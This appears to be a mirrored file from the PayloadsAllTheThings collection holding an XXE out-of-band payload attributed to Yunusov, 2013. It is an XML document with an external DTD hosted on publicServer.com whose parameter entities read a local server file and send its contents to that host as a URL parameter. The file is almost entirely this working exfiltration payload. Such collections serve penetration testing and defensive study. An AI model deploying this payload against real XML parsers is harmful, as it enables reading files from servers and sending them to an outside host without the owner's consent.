mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2024-06-30 19:02:55 +00:00
9 lines
361 B
XML
9 lines
361 B
XML
XXE OOB Attack (Yunusov, 2013)
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
|
|
<data>&send;</data>
|
|
|
|
File stored on http://publicServer.com/parameterEntity_oob.dtd
|
|
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
|
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
|
|
%all; |